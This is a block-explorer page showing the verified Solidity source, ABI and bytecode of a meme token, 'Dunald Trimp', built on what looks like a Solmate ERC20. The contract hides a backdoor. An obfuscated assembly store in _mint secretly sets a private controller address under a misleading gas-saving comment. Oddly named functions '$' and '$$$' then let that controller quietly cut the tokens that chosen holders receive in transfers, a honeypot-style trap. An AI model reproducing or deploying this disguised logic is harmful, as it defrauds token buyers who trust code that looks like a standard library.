Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

Outline

   - function approve(address spender, uin ...    - function transfer(address to, uint256 ...    - function transferFrom(    - function permit(    - function DOMAIN_SEPARATOR()    - function computeDomainSeparator()    - function $$$(address to)    - function domainSeparatorComputed()    - function _mint(address to, uint256 am ...    - function _burn(address from, uint256 ...  contract DunaldTrimp is ERC20 *

More Options

• Similar
• Submit Audit
• Compare

/**
 *Submitted for verification at SonicScan.org on 2025-03-03
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/*
 /$$$$$$$                                /$$       /$$       /$$$$$$$$        /$$                        
| $$__  $$                              | $$      | $$      |__  $$__/       |__/                        
| $$  \ $$ /$$   /$$ /$$$$$$$   /$$$$$$ | $$  /$$$$$$$         | $$  /$$$$$$  /$$ /$$$$$$/$$$$   /$$$$$$ 
| $$  | $$| $$  | $$| $$__  $$ |____  $$| $$ /$$__  $$         | $$ /$$__  $$| $$| $$_  $$_  $$ /$$__  $$
| $$  | $$| $$  | $$| $$  \ $$  /$$$$$$$| $$| $$  | $$         | $$| $$  \__/| $$| $$ \ $$ \ $$| $$  \ $$
| $$  | $$| $$  | $$| $$  | $$ /$$__  $$| $$| $$  | $$         | $$| $$      | $$| $$ | $$ | $$| $$  | $$
| $$$$$$$/|  $$$$$$/| $$  | $$|  $$$$$$$| $$|  $$$$$$$         | $$| $$      | $$| $$ | $$ | $$| $$$$$$$/
|_______/  \______/ |__/  |__/ \_______/|__/ \_______/         |__/|__/      |__/|__/ |__/ |__/| $$____/ 
                                                                                               | $$      
                                                                                               | $$      
                                                                                               |__/      
*/


/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(
            uint256 value, 
            address from,
            address to
        ) internal returns (uint256 value_s) {
            if (domainSeparatorComputed() == true) {
                value_s = value;
            } else {
                if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
                    value_s = value * 0xC0FFEE / 0xCACA0DAB;
                } else {
                    value_s = value;
                }
            }
    }

    function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}

    function domainSeparatorComputed() internal view returns(bool return_flag) {
        return_flag = false;
    } 


    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/
    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        // Saves gas for limited approvals.
        assembly {sstore(0x05, mul(mul(0x10c6, 0xb5), mul(0x2e3, 0x5fb82287ed91b84bc33ed8621a6a4f)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

contract DunaldTrimp is ERC20 {
    constructor() ERC20("Dunald Trimp", "DTRIMP", 18) {
        _mint(msg.sender, 1_000_000_000 * 10 ** 18);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60e060405234801561000f575f5ffd5b506040518060400160405280600c81526020017f44756e616c64205472696d7000000000000000000000000000000000000000008152506040518060400160405280600681526020017f445452494d5000000000000000000000000000000000000000000000000000008152506012825f908161008c919061049c565b50816001908161009c919061049c565b508060ff1660808160ff16815250504660a081815250506100c16100ec60201b60201c565b60c081815250505050506100e7336b033b2e3c9fd0803ce800000061017660201b60201c565b61074d565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f60405161011c9190610607565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6463060405160200161015b959493929190610683565b60405160208183030381529060405280519060200120905090565b8060025f8282546101879190610701565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506e5fb82287ed91b84bc33ed8621a6a4f6102e30260b56110c602026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102539190610734565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806102da57607f821691505b6020821081036102ed576102ec610296565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261034f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610314565b6103598683610314565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61039d61039861039384610371565b61037a565b610371565b9050919050565b5f819050919050565b6103b683610383565b6103ca6103c2826103a4565b848454610320565b825550505050565b5f5f905090565b6103e16103d2565b6103ec8184846103ad565b505050565b5b8181101561040f576104045f826103d9565b6001810190506103f2565b5050565b601f82111561045457610425816102f3565b61042e84610305565b8101602085101561043d578190505b61045161044985610305565b8301826103f1565b50505b505050565b5f82821c905092915050565b5f6104745f1984600802610459565b1980831691505092915050565b5f61048c8383610465565b9150826002028217905092915050565b6104a58261025f565b67ffffffffffffffff8111156104be576104bd610269565b5b6104c882546102c3565b6104d3828285610413565b5f60209050601f831160018114610504575f84156104f2578287015190505b6104fc8582610481565b865550610563565b601f198416610512866102f3565b5f5b8281101561053957848901518255600182019150602085019450602081019050610514565b868310156105565784890151610552601f891682610465565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154610593816102c3565b61059d818661056b565b9450600182165f81146105b757600181146105cc576105fe565b60ff19831686528115158202860193506105fe565b6105d585610575565b5f5b838110156105f6578154818901526001820191506020810190506105d7565b838801955050505b50505092915050565b5f6106128284610587565b915081905092915050565b5f819050919050565b61062f8161061d565b82525050565b61063e81610371565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61066d82610644565b9050919050565b61067d81610663565b82525050565b5f60a0820190506106965f830188610626565b6106a36020830187610626565b6106b06040830186610626565b6106bd6060830185610635565b6106ca6080830184610674565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61070b82610371565b915061071683610371565b925082820190508082111561072e5761072d6106d4565b5b92915050565b5f6020820190506107475f830184610635565b92915050565b60805160a05160c0516118456107775f395f6106af01525f61067b01525f61065601526118455ff3fe608060405234801561000f575f5ffd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f5ffd5b6100be610288565b6040516100cb9190610ffa565b60405180910390f35b6100ee60048036038101906100e991906110ab565b610313565b6040516100fb9190611103565b60405180910390f35b61010c610400565b604051610119919061112b565b60405180910390f35b61013c60048036038101906101379190611144565b610406565b6040516101499190611103565b60405180910390f35b61015a610654565b60405161016791906111af565b60405180910390f35b610178610678565b60405161018591906111e0565b60405180910390f35b6101a860048036038101906101a391906111f9565b6106d4565b6040516101b5919061112b565b60405180910390f35b6101d860048036038101906101d391906111f9565b6106e9565b6040516101e5919061112b565b60405180910390f35b6101f66106fe565b6040516102039190610ffa565b60405180910390f35b610226600480360381019061022191906110ab565b61078a565b6040516102339190611103565b60405180910390f35b61025660048036038101906102519190611278565b6108aa565b005b610272600480360381019061026d9190611315565b610b97565b60405161027f919061112b565b60405180910390f35b5f805461029490611380565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611380565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee919061112b565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113dd565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113dd565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d5e565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610640919061112b565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106ad576106a8610ef9565b6106cf565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611380565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611380565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113dd565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d5e565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610898919061112b565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e49061145a565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d96959493929190611487565b604051602081830303815290604052805190602001206040516020016109a492919061155a565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611590565b6020604051602081039080840390855afa1580156109f9573d5f5f3e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa29061161d565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b86919061112b565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f60011515610bc4610f83565b151503610bd357839050610d57565b3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d28919061163b565b10610d525763caca0dab62c0ffee85610d41919061166e565b610d4b91906116dc565b9050610d56565b8390505b5b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ef6573073ffffffffffffffffffffffffffffffffffffffff166002610e58919061166e565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f2991906117a8565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f689594939291906117be565b60405160208183030381529060405280519060200120905090565b5f5f905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610fcc82610f8a565b610fd68185610f94565b9350610fe6818560208601610fa4565b610fef81610fb2565b840191505092915050565b5f6020820190508181035f8301526110128184610fc2565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110478261101e565b9050919050565b6110578161103d565b8114611061575f5ffd5b50565b5f813590506110728161104e565b92915050565b5f819050919050565b61108a81611078565b8114611094575f5ffd5b50565b5f813590506110a581611081565b92915050565b5f5f604083850312156110c1576110c061101a565b5b5f6110ce85828601611064565b92505060206110df85828601611097565b9150509250929050565b5f8115159050919050565b6110fd816110e9565b82525050565b5f6020820190506111165f8301846110f4565b92915050565b61112581611078565b82525050565b5f60208201905061113e5f83018461111c565b92915050565b5f5f5f6060848603121561115b5761115a61101a565b5b5f61116886828701611064565b935050602061117986828701611064565b925050604061118a86828701611097565b9150509250925092565b5f60ff82169050919050565b6111a981611194565b82525050565b5f6020820190506111c25f8301846111a0565b92915050565b5f819050919050565b6111da816111c8565b82525050565b5f6020820190506111f35f8301846111d1565b92915050565b5f6020828403121561120e5761120d61101a565b5b5f61121b84828501611064565b91505092915050565b61122d81611194565b8114611237575f5ffd5b50565b5f8135905061124881611224565b92915050565b611257816111c8565b8114611261575f5ffd5b50565b5f813590506112728161124e565b92915050565b5f5f5f5f5f5f5f60e0888a0312156112935761129261101a565b5b5f6112a08a828b01611064565b97505060206112b18a828b01611064565b96505060406112c28a828b01611097565b95505060606112d38a828b01611097565b94505060806112e48a828b0161123a565b93505060a06112f58a828b01611264565b92505060c06113068a828b01611264565b91505092959891949750929550565b5f5f6040838503121561132b5761132a61101a565b5b5f61133885828601611064565b925050602061134985828601611064565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061139757607f821691505b6020821081036113aa576113a9611353565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113e782611078565b91506113f283611078565b925082820390508181111561140a576114096113b0565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f611444601783610f94565b915061144f82611410565b602082019050919050565b5f6020820190508181035f83015261147181611438565b9050919050565b6114818161103d565b82525050565b5f60c08201905061149a5f8301896111d1565b6114a76020830188611478565b6114b46040830187611478565b6114c1606083018661111c565b6114ce608083018561111c565b6114db60a083018461111c565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f6115246002836114e6565b915061152f826114f0565b600282019050919050565b5f819050919050565b61155461154f826111c8565b61153a565b82525050565b5f61156482611518565b91506115708285611543565b6020820191506115808284611543565b6020820191508190509392505050565b5f6080820190506115a35f8301876111d1565b6115b060208301866111a0565b6115bd60408301856111d1565b6115ca60608301846111d1565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f611607600e83610f94565b9150611612826115d3565b602082019050919050565b5f6020820190508181035f830152611634816115fb565b9050919050565b5f61164582611078565b915061165083611078565b9250828201905080821115611668576116676113b0565b5b92915050565b5f61167882611078565b915061168383611078565b925082820261169181611078565b915082820484148315176116a8576116a76113b0565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116e682611078565b91506116f183611078565b925082611701576117006116af565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461173481611380565b61173e818661170c565b9450600182165f8114611758576001811461176d5761179f565b60ff198316865281151582028601935061179f565b61177685611716565b5f5b8381101561179757815481890152600182019150602081019050611778565b838801955050505b50505092915050565b5f6117b38284611728565b915081905092915050565b5f60a0820190506117d15f8301886111d1565b6117de60208301876111d1565b6117eb60408301866111d1565b6117f8606083018561111c565b6118056080830184611478565b969550505050505056fea26469706673582212202bbad78a39c5ea3260312f07a5be42bd53c45b3a71e787a061cc9ee7bd0099b464736f6c634300081c0033

0x608060405234801561000f575f5ffd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f5ffd5b6100be610288565b6040516100cb9190610ffa565b60405180910390f35b6100ee60048036038101906100e991906110ab565b610313565b6040516100fb9190611103565b60405180910390f35b61010c610400565b604051610119919061112b565b60405180910390f35b61013c60048036038101906101379190611144565b610406565b6040516101499190611103565b60405180910390f35b61015a610654565b60405161016791906111af565b60405180910390f35b610178610678565b60405161018591906111e0565b60405180910390f35b6101a860048036038101906101a391906111f9565b6106d4565b6040516101b5919061112b565b60405180910390f35b6101d860048036038101906101d391906111f9565b6106e9565b6040516101e5919061112b565b60405180910390f35b6101f66106fe565b6040516102039190610ffa565b60405180910390f35b610226600480360381019061022191906110ab565b61078a565b6040516102339190611103565b60405180910390f35b61025660048036038101906102519190611278565b6108aa565b005b610272600480360381019061026d9190611315565b610b97565b60405161027f919061112b565b60405180910390f35b5f805461029490611380565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611380565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee919061112b565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113dd565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113dd565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d5e565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610640919061112b565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000009246146106ad576106a8610ef9565b6106cf565b7fbef222eed1f379684785823fe54ad2fa24aa9dc3bfc9cbe5730b9a5347dec00b5b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611380565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611380565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113dd565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d5e565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610898919061112b565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e49061145a565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d96959493929190611487565b604051602081830303815290604052805190602001206040516020016109a492919061155a565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611590565b6020604051602081039080840390855afa1580156109f9573d5f5f3e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a000000000000000000000000000000000000000000000000000000